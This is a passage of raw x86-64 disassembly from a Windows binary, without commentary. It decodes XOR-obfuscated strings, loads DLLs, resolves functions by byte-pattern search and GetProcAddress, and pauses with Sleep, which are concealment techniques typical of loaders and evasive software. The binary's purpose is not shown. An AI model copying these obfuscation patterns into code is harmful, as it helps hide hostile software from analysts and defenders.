movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r11, rax
test rax, rax
je 0x14001ded8
movsxd rcx, dword [rax + 0x3c]
cmp dword [rcx + rax], 0x4550
jne 0x14001ded8
lea r9, [rax + 0x108]
add r9, rcx
je 0x14001c7e4
movzx eax, word [rcx + rax + 6]
lea rcx, [rax + rax*4]
lea r10, [r9 + rcx*8]
cmp r9, r10
jae 0x14001c7e4
movabs rax, 0x770ed03532c5a
mov qword [rbp + 0x3590], rax
movabs rcx, 0xa9d27330aded32d
mov qword [rbp + 0x3598], rcx
movabs rax, 0x770997b365874
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm2, xmmword [rbp + 0x35a0]
movdqa xmm3, xmmword [rbp + 0x3590]
nop dword [rax]
nop word [rax + rax]
movdqa xmm0, xmm3
pxor xmm0, xmm2
movaps xmmword [rbp + 0x3590], xmm0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rbp + 0x35a0], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x35b0], xmm1
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x35c0], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x35d0], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x35e0], xmm0
mov rax, r9
lea r8, [rbp + 0x3590]
sub r8, r9
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14001c7c3
inc rax
test ecx, ecx
jne 0x14001c7b0
test edx, edx
je 0x14001c7d2
add r9, 0x28
cmp r9, r10
jb 0x14001c750
jmp 0x14001c7e4
mov eax, dword [r9 + 0x10]
mov ecx, dword [r9 + 0xc]
add rax, r13
add rcx, rax
mov qword [rdi + 8], rcx
mov rcx, r11
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
movabs rax, 0xa8ac0a92c4ed44f
mov qword [rbp + 0x3590], rax
movabs rax, 0x6febfcc736247507
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x6ea4f29a5e2ba73a
mov qword [rbp + 0x35b0], rax
movabs rax, 0x6febfcc73624196b
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x70], xmm1
lea rcx, [rsp + 0x30]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx + 0x80], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x90], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0xa0], xmm0
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r12, rax
test rax, rax
je 0x14001decc
mov dword [rbp + 0x3590], 0x38ec8348
mov dword [rbp + 0x3594], 0x44db3345
mov dword [rbp + 0x3598], 0xcccc1d39
mov dword [rbp + 0x359c], 0x2e74cccc
mov dword [rbp + 0x35a0], 0x48b4865
mov dword [rbp + 0x35a4], 0xcccccc25
mov dword [rbp + 0x35a8], 0x508b4ccc
mov byte [rbp + 0x35ac], 0x48
mov r8d, Ordinal_30
lea rdx, [rbp + 0x3590]
mov rcx, rax
call fcn.140050080
mov rcx, rax
sub rcx, r12
mov r13, qword [rbp + 0x1bf8]
add rcx, r13
mov qword [rdi + 0x100], rcx
test rax, rax
je 0x14001decc
mov dword [rbp + 0x3590], 0x48ec8348
mov dword [rbp + 0x3594], 0xcc2444c7
mov dword [rbp + 0x3598], 0xcccccccc
mov dword [rbp + 0x359c], 0x83ca8b4c
mov dword [rbp + 0x35a0], 0xcccc2464
mov dword [rbp + 0x35a4], 0x83c18b4c
mov word [rbp + 0x35a8], 0x2464
mov r8d, reloc.WLDAP32.dll_Ordinal_26
lea rdx, [rbp + 0x3590]
mov rcx, r12
call fcn.140050080
mov rcx, rax
sub rcx, r12
add rcx, r13
mov qword [rdi + 0xf8], rcx
test rax, rax
je 0x14001decc
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x104
lea rcx, [rbp + 0x3660]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor r12d, r12d
mov qword [rbp + 0x3540], r12
movdqa xmm0, xmmword [0x140114c40]
movdqu xmmword [rbp + 0x3550], xmm0
mov word [rbp + 0x3540], r12w
lea rax, [rbp + 0x3660]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14001ca30
lea rdx, [rbp + 0x3660]
lea rcx, [rbp + 0x3540]
call fcn.14005a180
nop
movabs rax, 0x93f04b2c1637a8d
mov qword [rbp + 0x60], rax
movabs rax, 0x1e321274f2b484a1
mov qword [rbp + 0x68], rax
movabs rax, 0x10cb46365a931a41
mov qword [rbp + 0x70], rax
movabs rax, 0x114a5e8d31ca548b
mov qword [rbp + 0x78], rax
movabs rax, 0x13cfc93bf6d2b605
mov qword [rbp + 0x80], rax
movabs rax, 0xd1619a165c28ac5
mov qword [rbp + 0x88], rax
mov qword [rbp + 0x90], rsi
movabs rcx, 0xe00000002000cb62
mov qword [rbp + 0x98], rcx
xorps xmm6, xmm6
xorps xmm7, xmm7
xorps xmm8, xmm8
xorps xmm9, xmm9
movabs rax, 0x94c04cbc1307ad1
mov qword [rbp + 0xe0], rax
movabs rax, 0x1e011219f2d184d5
mov qword [rbp + 0xe8], rax
movabs rax, 0x10a246415acf1a73
mov qword [rbp + 0xf0], rax
movabs rax, 0x11215ebf31f954e5
mov qword [rbp + 0xf8], rax
movabs rax, 0x13aac948f6b3b667
mov qword [rbp + 0x100], rax
movabs rax, 0xd6519d865b18aeb
mov qword [rbp + 0x108], rax
mov qword [rbp + 0x110], rsi
mov qword [rbp + 0x118], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
xorps xmm4, xmm4
xorps xmm5, xmm5
movdqa xmm0, xmmword [rbp + 0x60]
pxor xmm0, xmmword [rbp + 0xe0]
movdqa xmmword [rbp + 0x780], xmm0
movdqa xmm1, xmmword [rbp + 0x70]
pxor xmm1, xmmword [rbp + 0xf0]
movdqa xmmword [rbp + 0x790], xmm1
movdqa xmm0, xmmword [rbp + 0x100]
pxor xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x7a0], xmm0
movdqa xmm1, xmmword [rbp + 0x90]
pxor xmm1, xmmword [rbp + 0x110]
movdqa xmmword [rbp + 0x7b0], xmm1
pxor xmm6, xmm2
movdqa xmmword [rbp + 0x7c0], xmm6
pxor xmm7, xmm3
movdqa xmmword [rbp + 0x7d0], xmm7
pxor xmm8, xmm4
movdqa xmmword [rbp + 0x7e0], xmm8
pxor xmm5, xmm9
movdqa xmmword [rbp + 0x7f0], xmm5
lea rax, [rbp + 0x1480]
lea rcx, [rbp + 0x780]
mov edx, 6
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001cbf0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
mov qword [rbp + 0x3590], r12
mov qword [rbp + 0x35a0], r12
mov qword [rbp + 0x35a8], 7
mov word [rbp + 0x3590], r12w
lea rax, [rbp + 0x1480]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x14001cc80
lea rdx, [rbp + 0x1480]
lea rcx, [rbp + 0x3590]
call fcn.14005a180
nop
lea rdx, [rbp + 0x3590]
cmp qword [rbp + 0x35a8], 8
cmovae rdx, qword [rbp + 0x3590]
mov r8, qword [rbp + 0x35a0]
lea rcx, [rbp + 0x3540]
call fcn.140059fa0
nop
mov r8, qword [rbp + 0x35a8]
cmp r8, 8
jb 0x14001cced
inc r8
mov rdx, qword [rbp + 0x3590]
lea rcx, [rbp + 0x3590]
call fcn.14005ad70
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x8d3709682f05bd
mov qword [rbp + 0x3590], rax
movabs rax, 0x6880ad40cfe12bf0
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x61ef5c3b5b416cca
mov qword [rbp + 0x35b0], rax
movabs rax, 0x6880de39bccf4e83
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x70], xmm2
lea rcx, [rsp + 0x30]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
mov qword [rbp + 0x3590], r12
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x35a0], xmm0
mov byte [rbp + 0x3590], 0
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14001ce15
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x3590]
call fcn.14005a030
nop
lea rcx, [rbp + 0x3590]
call fcn.140053a00
mov r13, rax
mov qword [rbp + 0x1a0], rax
lea rcx, [rbp + 0x3590]
call fcn.14000b160
lea rcx, [rbp + 0x3540]
cmp qword [rbp + 0x3558], 8
cmovae rcx, qword [rbp + 0x3540]
xor edx, edx
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov r12, rax
test rax, rax
jne 0x14001cf66
movabs rax, 0xd92688e3e5fee
mov qword [rbp + 0x3590], rax
movabs rcx, 0xe5bd8ace5dda30f
mov qword [rbp + 0x3598], rcx
movabs rax, 0xd921ae14c2dab
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35a0]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movabs rax, 0x1176f739e
mov qword [rbp + 0x3590], rax
movabs rcx, 0xe1e396261
mov qword [rbp + 0x3598], rcx
movabs rax, 0x117653ef6
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35a0]
movaps xmmword [rbp + 0x3590], xmm0
movaps xmm0, xmmword [rbp + 0x3550]
movaps xmmword [rbp + 0x35a0], xmm0
movaps xmm0, xmmword [rbp + 0x3570]
movaps xmmword [rbp + 0x35c0], xmm0
lea rdx, [rbp + 0x3590]
jmp 0x14001de0c
mov eax, dword [rbp + 0x40]
cmp eax, 0x4a65
jbe 0x14001d0da
movabs rax, 0xf1809c338a06756
mov qword [rbp + 0x3590], rax
movabs rax, 0x6ec44628a39ecfae
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x686b62f10bce0e21
mov qword [rbp + 0x35b0], rax
movabs rax, 0x6ec4465bdaede1ca
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x70], xmm2
lea rcx, [rsp + 0x30]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
xor eax, eax
mov qword [rbp + 0x3590], rax
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x35a0], xmm0
mov byte [rbp + 0x3590], al
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14001d090
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x3590]
call fcn.14005a030
nop
lea rcx, [rbp + 0x3590]
call fcn.140053a00
mov r13, rax
lea rcx, [rbp + 0x3590]
call fcn.14000b160
mov eax, dword [rbp + 0x40]
test r13, r13
je 0x14001d0d3
mov qword [rdi + 0x10], r13
mov r13, qword [rbp + 0x1a0]
add eax, 0xffffb59f
cmp eax, 4
ja 0x14001d206
movabs rax, 0x1a024d1052fe5311
mov qword [rsp + 0x30], rax
movabs rax, 0x1982c35cea3890a7
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rsi
movabs rcx, 0xe00000002000fbc8
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x796c346313983276
mov qword [rsp + 0x70], rax
movabs rax, 0x7cf6a228b941f5ec
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rsi
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x60], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x70], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x80], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x90], xmm5
lea rax, [rsp + 0x30]
lea rcx, [rbp + 0x60]
mov rdx, r15
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x14001d191
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
lea rdx, [rsp + 0x30]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001d206
sub rax, r12
add rax, r13
mov qword [rdi + 0x10], rax
movabs rax, 0x15a64924cb15e547
mov qword [rbp + 0x3590], rax
movabs rax, 0x611705bd30ff2eb8
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x7ad53b5188619520
mov qword [rbp + 0x35b0], rax
movabs rax, 0x611766d3498c6fca
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x70], xmm2
lea rcx, [rsp + 0x30]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rdx, [rsp + 0x30]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001d316
sub rax, r12
add rax, r13
mov qword [rdi + 0x18], rax
movabs rax, 0xd1a28ee11c92457
mov qword [rbp + 0x3590], rax
movabs rcx, 0x1d88a2c60b3c7ed
mov qword [rbp + 0x3598], rcx
movabs rax, 0xd1a519e72a4413a
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35a0]
movaps xmmword [rsp + 0x30], xmm0
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rsp + 0x50]
movaps xmmword [rsp + 0x50], xmm1
movaps xmm0, xmmword [rsp + 0x60]
movaps xmmword [rsp + 0x60], xmm0
movaps xmm1, xmmword [rsp + 0x70]
movaps xmmword [rsp + 0x70], xmm1
movaps xmm0, xmmword [rbp - 0x80]
movaps xmmword [rbp - 0x80], xmm0
movaps xmm1, xmmword [rbp - 0x70]
movaps xmmword [rbp - 0x70], xmm1
movabs rax, 0x1e69e6c854004b1f
mov qword [rbp + 0x3590], rax
movabs rax, 0x63719bad2d7d4dc2
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x720794a3276f3f71
mov qword [rbp + 0x35b0], rax
movabs rax, 0x63719bad480528ec
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x35b0]
pxor xmm0, xmmword [rbp + 0x3590]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x70], xmm2
lea rcx, [rbp + 0x3590]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rsp + 0x30]
lea rcx, [rbp + 0x3590]
call fcn.1400532e0
mov qword [rdi + 0x40], rax
test rax, rax
jne 0x14001d514
movabs rax, 0xbb5c7dfd1f00b
mov qword [rbp + 0x3590], rax
movabs rcx, 0xe59efcbc4ca3882
mov qword [rbp + 0x3598], rcx
movabs rax, 0xbb5b5b0a3824e
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x3590]
movabs rax, 0x1fffffffe109cd78
mov qword [rbp + 0x3590], rax
movabs rcx, 0xe00000001e82dcdf
movabs rax, 0x1fffffffe109c749
jmp 0x14001dda2
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x3e57495cc1e30a4
mov qword [rsp + 0x30], rax
movabs rax, 0x3d9aba5c0cfe9ff0
mov qword [rsp + 0x38], rax
movabs rax, 0x9303a2ac7141c3f
mov qword [rsp + 0x40], rax
movabs rax, 0x7e85e0505f0d2335
mov qword [rsp + 0x48], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x73901ffaa35243f4
mov qword [rsp + 0x70], rax
movabs rax, 0x7fe9c9396f91eda0
mov qword [rsp + 0x78], rax
movabs rax, 0x7a435f49a8664c46
mov qword [rbp - 0x80], rax
movabs rax, 0x7e85e0505f0d477c
mov qword [rbp - 0x78], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x30]
pxor xmm0, xmmword [rsp + 0x70]
movdqa xmmword [rbp + 0x780], xmm0
movdqa xmm1, xmmword [rsp + 0x40]
pxor xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp + 0x790], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x7a0], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x7b0], xmm5
lea rax, [rbp + 0x1480]
lea rcx, [rbp + 0x780]
nop
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rbx, 1
jne 0x14001d5f0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movabs rax, 0x3671edc56c99c6c
mov qword [rbp + 0x3590], rax
movabs rax, 0x7b5b3049bb81bb15
mov qword [rbp + 0x3598], rax
xorps xmm2, xmm2
movabs rax, 0x6f096cb725a6e802
mov qword [rbp + 0x35b0], rax
movabs rax, 0x7b5b3049def9de3b
mov qword [rbp + 0x35b8], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x3590]
pxor xmm0, xmmword [rbp + 0x35b0]
movdqa xmmword [rbp + 0x60], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x70], xmm1
lea rcx, [rsp + 0x30]
lea rax, [rbp + 0x60]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x1480]
lea rcx, [rsp + 0x30]
call fcn.1400532e0
mov qword [rdi + 0x28], rax
test rax, rax
jne 0x14001d7cd
movabs rax, 0x10c7e81a122ec3
mov qword [rbp + 0x3590], rax
movabs rcx, 0xe5b7cde2fc6f222
mov qword [rbp + 0x3598], rcx
movabs rax, 0x10c79a75605c86
mov qword [rbp + 0x35a0], rax
mov qword [rbp + 0x35a8], rcx
movdqa xmm0, xmmword [rbp + 0x3590]
movabs rax, 0x1fffffffe17d98ef
mov qword [rbp + 0x3590], rax
movabs rcx, 0xe00000001e877a9a
movabs rax, 0x1fffffffe17d92dd
jmp 0x14001dda2
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0xa14088858b7c15e
mov qword [rsp + 0x30], rax
movabs rax, 0x18e65f715fe10dcf
mov qword [rsp + 0x38], rax
movabs rax, 0x108fbfdfa231
mov qword [rsp + 0x40], rax
movabs rcx, 0x69d5523a3d6f1fb
mov qword [rsp + 0x48], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x6c717aed1cd1a311
mov qword [rsp + 0x70], rax
movabs rax, 0x7aa93a1231847faa
mov qword [rsp + 0x78], rax
movabs rax, 0x108fcbbcc75b
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rsp + 0x30]
